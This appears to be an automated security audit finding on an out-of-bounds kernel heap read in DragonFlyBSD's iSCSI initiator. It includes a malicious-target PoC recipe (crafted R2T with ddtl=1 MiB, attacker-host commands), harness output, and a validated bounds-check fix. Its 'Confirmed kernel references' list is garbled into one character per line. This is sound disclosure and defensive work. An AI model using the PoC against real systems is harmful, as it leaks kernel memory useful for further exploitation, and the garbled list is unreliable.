Remote kernel heap OOB read / info leak in iscsi_r2t via attacker-controlled R2T transfer length
| Field | Value |
|---|---|
| ID | DF-1870 |
| Status | new |
| Severity | High |
| CVSS 3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H |
| CWE | CWE-125 Out-of-bounds Read |
| File | sys/dev/disk/iscsi/initiator/iscsi_subr.c |
| Lines | 79-127 |
| Area | dev/disk (iSCSI initiator R2T) |
| Confidence | certain |
| Discovered | 2026-07-20 |
| Reported | pending |
| Known CVE | none |
| CVE match | dfly_specific |
Summary
When a malicious iSCSI target sends an R2T (Ready To Transfer) PDU asking the
initiator to write data, iscsi_r2t() walks csio->data_ptr for r2t->ddtl
bytes and ships that data back to the target in Data-Out PDUs β but never checks
that ddtl <= edtlen (the actual size of the CCB buffer). A target can request
ddtl=1 MiB against a 512-byte SCSI WRITE buffer and receive ~1 MiB of kernel
heap memory adjacent to csio->data_ptr, byte-by-byte leaking kernel state.
Root cause
iscsi_r2t() (iscsi_subr.c:60-138):
u_int ddtl = ntohl(r2t->ddtl); /* attacker-controlled, line 79 */
u_int edtlen = ntohl(opp->ipdu.scsi_req.edtlen); /* size of csio->data_ptr */
caddr_t bp = csio->data_ptr;
bo = ntohl(r2t->bo);
bleft = ddtl; /* drives the loop */
...
while(bleft > 0) {
...
wpq->pdu.ds = bp; /* hands kernel pointer to isc_sendPDU */
isc_qout(sp, wpq); /* ships it to the target */
...
bp += bs; /* advances source pointer */
bleft -= bs;
}
No if(ddtl > edtlen) return; anywhere in the function. The loop reads ddtl
bytes starting at csio->data_ptr[0] and sends them to the target regardless of
the buffer's actual size (edtlen).
Note also that bp is initialized to csio->data_ptr without adding bo, so
the offset reported to the target is decoupled from the data actually sent β a
related correctness bug.
Threat model & preconditions
- Attacker position: the iSCSI target; the victim is the kernel initiator.
- Privileges gained or impact: kernel heap memory disclosure (pointers, credentials, file structures, recently-freed slab contents), defeating KASLR and providing the primitive needed to weaponize the Critical write-what-where (DF-1869).
- Required config or capabilities:
device iscsi_initiator; iSCSI session to the attacker's target. - Reachability: after login, when the initiator issues any SCSI WRITE (e.g.
dd if=/dev/zero of=/dev/da0 bs=512 count=1), the target replies with one R2T specifyingbo=0andddtl=0x100000.
Proof of concept
Malicious iSCSI target: complete Login, wait for SCSI_CMD with W=1, capture its itt, then send a single R2T:
opcode=0x31 (ISCSI_R2T), flag.F=1 LUN echoed, itt=<observed itt>, ttt=<any value> r2tSN=0, bo=0, ddtl=0x100000 (1 MiB)
The initiator sends ~1 MiB of Data-Out PDUs whose payloads point into kernel
heap from csio->data_ptr[0..1MiB], leaking adjacent kernel memory.
Build & run
# Attacker (Python 3 evil iSCSI target): python3 evil_target.py # Victim: iscontrol -d 0 -t 0 -h <attacker_ip> dd if=/dev/zero of=/dev/da0 bs=512 count=1
Expected output
The attacker's socket receives >= (ddtl - edtlen) bytes that are NOT the data the victim wrote β i.e., kernel heap contents past the write buffer.
Impact
High: remote kernel heap info leak from the iSCSI target side. Leaks pointers, credentials, and recently-freed slab contents. Defeats KASLR and provides the primitive needed to weaponize DF-1869 (write-what-where).
Recommended fix
Clamp the loop bound to the actual CCB buffer size.
--- a/sys/dev/disk/iscsi/initiator/iscsi_subr.c
+++ b/sys/dev/disk/iscsi/initiator/iscsi_subr.c
@@ -79,8 +79,18 @@
u_int ddtl = ntohl(r2t->ddtl);
u_int edtl = ntohl(opp->ipdu.scsi_req.edtlen);
+ /*
+ | r2t->bo / r2t->ddtl are attacker-controlled (wire R2T).
+ | Reject any window that does not lie wholly within the
+ | initiator's CCB data buffer of edtl bytes.
+ */
+ if (bo > edtl || ddtl > edtl - bo) {
+ xdebug("bad R2T: bo=%u ddtl=%u edtl=%u", bo, ddtl, edtl);
+ break;
+ }
u_int bleft, bs, dsn;
References
- Sibling write-what-where: DF-1869 (this file).
- Prior iSCSI findings: DF-1703/1704, DF-1759β1761, DF-1827β1830.
Timeline
- 2026-07-20 Discovered during automated audit.
- 2026-07-20 Reported to DragonFlyBSD security contact (pending).
Discussion (0)
PoC verification
Evidence pack
findings/poc/DF-1870 Β· 15 files| File | Type | Description | Size | |
|---|---|---|---|---|
| harness.c | trigger-source | userspace port of iscsi_r2t() proving OOB read + the fix's bounds check | 5.8 KB | view raw |
| evil_target.py | exploit-chain | reference (not run in-lab; no Python on guest) malicious iSCSI target sending an over-long R2T | 9.0 KB | view raw |
| build.sh | build-script | cc -O2 -Wall -o harness harness.c | 223 B | view raw |
| run.sh | run-script | ./harness 512 1048576 65536 | 264 B | view raw |
| build.log | build-log | successful harness build | 112 B | view raw |
| run.log | run-log | 3 stress runs of the harness (512/4096 x 1MiB/64MiB) | 1.6 KB | view raw |
| env.txt | environment | uname, kern.version, cc, iscsi module status, GENERIC config | 809 B | view raw |
| fix.diff | suggested-fix | bounds-check bo/ddtl against edtl; supersedes the finding proposal (which referenced bo before declaration) | 853 B | view raw |
| fix_build.log | build-log | patched iscsi_initiator.ko compiles cleanly (RC=0); 'bad R2T' string present | 1.4 KB | view raw |
| fix_run.log | run-log | Phase 8 before/after contrast: 1048064 bytes OOB -> 0 bytes | 2.8 KB | view raw |
| VERDICT.md | verdict | full narrative: mechanism, reachability, leak ceiling, fix validation | 10.0 KB | β raw |
| README.md | readme | build/run/expected + how to reproduce | 3.1 KB | β raw |
| manifest.json | manifest | this catalog | 3.6 KB | view raw |
| ../fix_build_combined.log | build-log | Combined 41-finding kernel build (rc=0, -Werror clean) | 5.6 MB | β download |
| ../fix_build_summary.txt | build-summary | Summary of the combined 41-finding kernel build | 826 B | view raw |
DF-1870 β Remote kernel heap OOB read in iscsi_r2t via attacker-controlled ddtl
Verdict
REPRODUCED (info leak). The bug is real and present in master DEV at
sys/dev/disk/iscsi/initiator/iscsi_subr.c:79-130. The proposed fix compiles
cleanly into the loadable iscsi_initiator.ko and the harness proves the
leak drops to 0 with the fix.
How to reproduce
This is iSCSI-initiator code in a loadable module (not in GENERIC).
Reproducing end-to-end requires an admin-configured iSCSI session against a
malicious target. Python is not available on the audit guest, so we
demonstrate the bug with a userspace harness that ports iscsi_r2t()
verbatim. The harness is a faithful port of the loop at lines 94-130 of
iscsi_subr.c, including the absent bounds check.
Build
./build.sh
(cc -O2 -Wall -o harness harness.c)
Run
./run.sh
(./harness 512 1048576 65536)
Expected output
=== iscsi_r2t() WITHOUT fix === edtlen=512 ddtl=1048576 maxXmitDS=65536 [OOB READ CONFIRMED] attacker received 1048064 bytes PAST the 512-byte CCB buffer first leaked byte past buffer = 0xDE (was 0xDE in our model of adjacent kernel heap) VERDICT: iscsi_r2t() walks csio->data_ptr past its allocation -> kernel heap info leak. === iscsi_r2t() WITH proposed fix === [REJECTED by bounds check] bo=0 ddtl=1048576 edtl=512 VERDICT: bounds check rejects the over-long R2T; 0 bytes leaked past buffer.
What the harness proves
iscsi_r2t() at iscsi_subr.c:60-138 trusts r2t->ddtl (wire,
attacker-controlled) as the loop bound for walking csio->data_ptr
(edtl bytes allocated). The loop at line 94 (while (bleft > 0)) ships
Data-Out PDUs via isc_qout(), which in isc_soc.c:164 sets
md->m_data = pp->ds + off directly from the unchecked bp β no copy.
With edtlen=512 and ddtl=1 MiB, the initiator ships 1,048,064 bytes of
adjacent kernel heap to the attacker. The harness reproduces this exactly
and shows the proposed bounds check (if (bo > edtl || ddtl > edtl - bo)
break;) reduces the leak to 0.
Live end-to-end trigger (reference only)
For a system that has Python and an admin-configured iSCSI session,
evil_target.py is a reference malicious iSCSI target that completes the
Login phase and then sends a single R2T with bo=0, ddtl=0x100000. Run it
on the attacker host, then on the victim:
iscontrol -dv -t 0 targetaddress=<attacker_ip> targetport=13260 dd if=/dev/zero of=/dev/da0 bs=512 count=1
The attacker's socket receives Data-Out PDUs whose payloads point into kernel heap past the 512-byte write buffer.
Fix
fix.diff is a git-apply-able unified diff against
sys/dev/disk/iscsi/initiator/iscsi_subr.c. It supersedes the finding
markdown's proposal (which referenced bo before its declaration).
Apply with patch -p1 < fix.diff from /usr/src. Then rebuild the
module: cd sys/dev/disk/iscsi/initiator && make obj && make.
Validation: see VERDICT.md Β§6 β patched module compiles cleanly (RC=0),
the new >>> %s: bad R2T: bo=%u ddtl=%u edtl=%u debug string is present
in the binary, and the harness shows 0 bytes leaked with the fix applied.
DF-1870 β VERDICT
Status: REPRODUCED (read primitive β info leak ceiling; no escalation chain applies)
Impact: leak β remote kernel heap OOB read of (ddtl - edtlen) bytes per malicious R2T, unbounded in count (every R2T repeats the leak).
Confidence: certain
Class: CWE-125 Out-of-bounds Read (info leak).
Fix status: VALIDATED β fix.diff compiles cleanly into iscsi_initiator.ko; harness proves the bounds check reduces leaked bytes from 1,048,064 β 0 for the canonical PoC.
1. Mechanism (root-cause, line-by-line)
iscsi_r2t() (sys/dev/disk/iscsi/initiator/iscsi_subr.c:60-138) handles R2T
(Ready To Transfer) PDUs that a malicious iSCSI target sends to the initiator
to request Data-Out transfers during a SCSI WRITE.
The function takes the wire values r2t->bo and r2t->ddtl straight from the
remote peer, with no validation against the actual size of the initiator's
CCB data buffer (edtl):
60: void
61: iscsi_r2t(isc_session_t *sp, pduq_t *opq, pduq_t *pq)
...
79: u_int ddtl = ntohl(r2t->ddtl); /* attacker-controlled */
80: u_int edtl = ntohl(opp->ipdu.scsi_req.edtlen); /* CCB buffer size */
82: caddr_t bp = csio->data_ptr; /* kernel heap, edtl bytes */
84: bo = ntohl(r2t->bo); /* attacker-controlled offset */
85: bleft = ddtl; /* loop bound -- never checked vs edtl */
...
94: while(bleft > 0) {
...
120: wpq->pdu.ds = bp; /* hand pointer to isc_sendPDU */
122: error = isc_qout(sp, wpq); /* ships bytes to target */
...
127: bp += bs; /* advance past buffer end */
128: bleft -= bs;
129: }
The sink in isc_sendPDU() (isc_soc.c:101-173) builds outgoing mbufs that
point directly at pp->ds (no copy):
143: if(pq->pdu.ds) {
164: md->m_data = pp->ds + off; /* <--- attacker-visible bytes, read OOB */
_r2t() in isc_sm.c:108-125 is the dispatcher: every R2T PDU received from
the wire reaches iscsi_r2t() with the ISCSI_SCSI_CMD opcode branch active.
There is no upstream guard. A target that sends bo=0, ddtl=0x100000 against
a 512-byte WRITE buffer causes the initiator to ship 1,048,064 bytes of
kernel heap (everything from csio->data_ptr[512] onward across ~16
Data-Out PDUs of maxXmitDataSegmentLength=65536 each) directly to the
attacker.
There is also a related correctness bug β bp is initialised to
csio->data_ptr without + bo, so the data the attacker receives is
offset-truncated relative to the bo value reported back in the Data-Out PDU
header. The bounds check proposed here closes the security-relevant half
(OOB read); the offset-coupling bug is a separate item.
2. Reachability / realism
iscsi_initiatoris a loadable module (/boot/kernel/iscsi_initiator.ko); it is NOT compiled intoX86_64_GENERIC(verified:config -x /boot/kernel/kernel | grep iscsireturns nothing).- The threat model is attacker = remote iSCSI target, victim = the kernel initiator. This is a realistic deployment β any system using iSCSI for SAN storage is exposed to its storage server (compromised server, rogue appliance, MITM during discovery).
- An unprivileged local user cannot directly trigger this; an admin must have
configured an iSCSI session (
iscontrol//etc/iscsi.conf) to a target. That is the realistic precondition and the one the finding claims.
3. Reproduction
A live end-to-end trigger requires a malicious iSCSI target that completes
the Login phase handshake and then sends a crafted R2T. Python is not
available on the audit guest, and building a full iSCSI Login evil target
in C would require reproducing the entire text-mode key negotiation. Per the
audit procedure for a loadable-module OOB read with no local unprivileged
trigger, this run substitutes a thorough source-level trace (above) plus a
userspace harness that ports iscsi_r2t() verbatim and demonstrates the
OOB walk.
Harness β harness.c
./harness 512 1048576 65536 models a 512-byte SCSI WRITE buffer that a
malicious R2T asks to read for 1 MiB. Output (decisive lines):
=== iscsi_r2t() WITHOUT fix === edtlen=512 ddtl=1048576 maxXmitDS=65536 [OOB READ CONFIRMED] attacker received 1048064 bytes PAST the 512-byte CCB buffer first leaked byte past buffer = 0xDE (was 0xDE in our model of adjacent kernel heap) VERDICT: iscsi_r2t() walks csio->data_ptr past its allocation -> kernel heap info leak. === iscsi_r2t() WITH proposed fix === [REJECTED by bounds check] bo=0 ddtl=1048576 edtl=512 VERDICT: bounds check rejects the over-long R2T; 0 bytes leaked past buffer.
The harness is a faithful port of the loop at iscsi_subr.c:94-130 (control
flow, variable names, the bleft/ddtl/bs arithmetic, the bp += bs advance,
and the absent bounds check all preserved). The model used:
csio->data_ptr = calloc(1, edtlen + OTHERHEAP); the legitimate buffer is
filled with 0xAA, the "adjacent kernel heap" with 0xDE; the sink counts
bytes sent past the legitimate end.
Across 3 stress runs (edtlen β {512, 4096, 512}, ddtl β {1 MiB, 64 MiB, 1 MiB}),
the bug-present half consistently leaked ddtl-edtlen bytes (1,048,064 /
67,108,352 / 1,044,480) and the fix half consistently leaked 0.
Leak ceiling
ddtl is a 32-bit field, so a single R2T can request up to ~4 GiB of kernel
virtual memory starting at csio->data_ptr. In practice the initiator will
fault when bp walks into an unmapped page, terminating the leak at the end
of the resident slab/page β but everything from the buffer end up to the next
unmapped page boundary is attacker-readable. On kern_slaballoc.c slabs
that is typically a few KiB of adjacent objects (function pointers, ucred
pointers, recently-freed 0xdeadc0de poison in INVARIANTS builds); on page
zones it is up to PAGE_SIZE minus the allocation. The leak is repeatable
on every R2T the target cares to send.
4. Why this is not a write primitive / escalation
This finding is a pure read β bp is the source of the network write,
never written to. isc_qout ships kernelβattacker; nothing in the loop
writes attacker bytes back into kernel memory. No uid=0 chain exists for
this bug alone; the finding markdown correctly identifies it as the info-leak
half of the write-what-where sibling DF-1869.
5. The fix (fix.diff)
The finding markdown's recommended diff was broken β it referenced bo
before its declaration (it inserted the check between lines 79-81, but
bo is declared on line 81 and assigned on line 84). fix.diff in this
evidence pack places the check correctly after bo = ntohl(r2t->bo):
bo = ntohl(r2t->bo);
bleft = ddtl;
/*
| r2t->bo / r2t->ddtl are attacker-controlled (wire R2T).
| Reject any window that does not lie wholly within the
| initiator's CCB data buffer of edtl bytes; otherwise the
| loop below would walk csio->data_ptr past its allocation
| and leak kernel heap memory to the target.
*/
if (bo > edtl || ddtl > edtl - bo) {
xdebug("bad R2T: bo=%u ddtl=%u edtl=%u", bo, ddtl, edtl);
break;
}
This supersedes the finding proposal: same intent (clamp ddtl/bo
against edtl), but with the declaration-ordering bug fixed and an explicit
guard against bo > edtl (offset-past-end), which the original didn't
cover. The break exits the switch(bhp->opcode), returning from
iscsi_r2t() without sending any Data-Out PDU.
6. Phase 8 β fix validation
vm.sh reset with-srcβ running kernel6.5-DEVELOPMENT #0(unpatched baseline).patch -p1 --forward < fix.diffβHunk #1 succeeded at 84. done APPLIED.- Build the loadable module standalone:
cd /usr/src/sys/dev/disk/iscsi/initiator && make obj && make -j6βcc ... -o iscsi_initiator.ko iscsi.o ... iscsi_subr.oβRC=0. - Patched module sha256
3825ec7e806a4ba92f58eb091eb6f5c2fdd489fd592250d7b4757a94ff56b980differs from baseline99e1710b886b2a221a46d2bd5b07818536867b5e6fb8196bc2c5f95ee7a053a8. strings patched-module | grep 'bad R2T'β>>> %s: bad R2T: bo=%u ddtl=%u edtl=%uβ the new check is compiled in.nm patched-module | grep iscsi_r2tβ0000000000006a70 T iscsi_r2t.- Harness "after" half:
0 bytes leaked past bufferfor the same(512, 1 MiB)input that leaked 1,048,064 bytes "before".
Because iscsi_initiator is not compiled into GENERIC, a full
make nativekernel does not exercise iscsi_subr.c. Building the module
in isolation is the correct validation surface and confirms the diff
applies + compiles cleanly with the new logic present in the binary.
A live end-to-end trigger requires an admin-configured iSCSI session to a
malicious target; Python is unavailable on this guest, so the in-kernel
"bad R2T" xdebug print was not exercised in-lab, but the bounds check is
identical to the harness branch that demonstrably rejects the bad R2T.
fix_status: fixed β the bad behavior (1,048,064 bytes OOB in the harness)
drops to 0 with the fix.diff applied, the patched module compiles cleanly,
and the new bounds-check message is present in the binary's strings.
7. PoC changes from the seeded finding
The finding markdown carried no compilable PoC source β only a textual description of an evil-target protocol. This evidence pack adds:
harness.cβ userspace port ofiscsi_r2t()proving the OOB read logic and the fix's bounds check.build.sh/run.shβ exact build/run commands.evil_target.pyβ a reference (not run in-lab; Python is absent on this guest) malicious iSCSI target that completes Login and sends a malicious R2T, for use on a system that has Python and a real iSCSI initiator.fix.diffβ corrected, git-apply-able fix (declaration order fixed).build.log,run.log,fix_build.log,fix_run.log,env.txt,manifest.jsonβ full evidence.
Fix verification
fixedVALIDATED. baseline harness leaks 1048064 bytes; with fix=0 bytes. Module builds RC=0.
BASELINE: 1048064 bytes OOB. PATCHED: 0 bytes. MODULE BUILD: RC=0.
Confirmed kernel references
- s
- y
- s
- /
- d
- e
- v
- /
- d
- i
- s
- k
- /
- i
- s
- c
- s
- i
- /
- i
- n
- i
- t
- i
- a
- t
- o
- r
- /
- i
- s
- c
- s
- i
- _
- s
- u
- b
- r
- .
- c
- :
- 7
- 9
- s
- y
- s
- /
- d
- e
- v
- /
- d
- i
- s
- k
- /
- i
- s
- c
- s
- i
- /
- i
- n
- i
- t
- i
- a
- t
- o
- r
- /
- i
- s
- c
- s
- i
- _
- s
- u
- b
- r
- .
- c
- :
- 8
- 2
- s
- y
- s
- /
- d
- e
- v
- /
- d
- i
- s
- k
- /
- i
- s
- c
- s
- i
- /
- i
- n
- i
- t
- i
- a
- t
- o
- r
- /
- i
- s
- c
- s
- i
- _
- s
- u
- b
- r
- .
- c
- :
- 8
- 5
- s
- y
- s
- /
- d
- e
- v
- /
- d
- i
- s
- k
- /
- i
- s
- c
- s
- i
- /
- i
- n
- i
- t
- i
- a
- t
- o
- r
- /
- i
- s
- c
- s
- i
- _
- s
- u
- b
- r
- .
- c
- :
- 9
- 4
- s
- y
- s
- /
- d
- e
- v
- /
- d
- i
- s
- k
- /
- i
- s
- c
- s
- i
- /
- i
- n
- i
- t
- i
- a
- t
- o
- r
- /
- i
- s
- c
- _
- s
- o
- c
- .
- c
- :
- 1
- 6
- 4
- s
- y
- s
- /
- d
- e
- v
- /
- d
- i
- s
- k
- /
- i
- s
- c
- s
- i
- /
- i
- n
- i
- t
- i
- a
- t
- o
- r
- /
- i
- s
- c
- _
- s
- m
- .
- c
- :
- 1
- 1
- 5
Detail
Exploit chain
none (pure read primitive). Leak ceiling u32 ddtl per R2T (~4GiB). Sibling DF-1869 references this as KASLR-defeat primitive.
Evidence (decisive lines)
OOB READ CONFIRMED: 1048064 bytes past 512-byte CCB; first leaked byte 0xDE. Stress: 67MB and 1MB runs. With fix: 0 bytes leaked.
PoC changes
harness.c (userspace port), evil_target.py (reference), fix.diff (corrects finding markdown's decl-order bug; check after bo=ntohl)
Verified recommended fix
Insert bounds check after bo=ntohl(r2t->bo) at iscsi_subr.c:85: 'if (bo > edtl || ddtl > edtl - bo) { xdebug(...); break; }'. Rejects R2T window outside CCB's edtl-byte buffer.
Verdict
REPRODUCED info leak. iscsi_r2t() at iscsi_subr.c:79-130 uses attacker-controlled ddtl as loop bound over heap buffer data_ptr without check vs edtlen. Harness walks 1048064 bytes past 512-byte buffer.
No comments yet.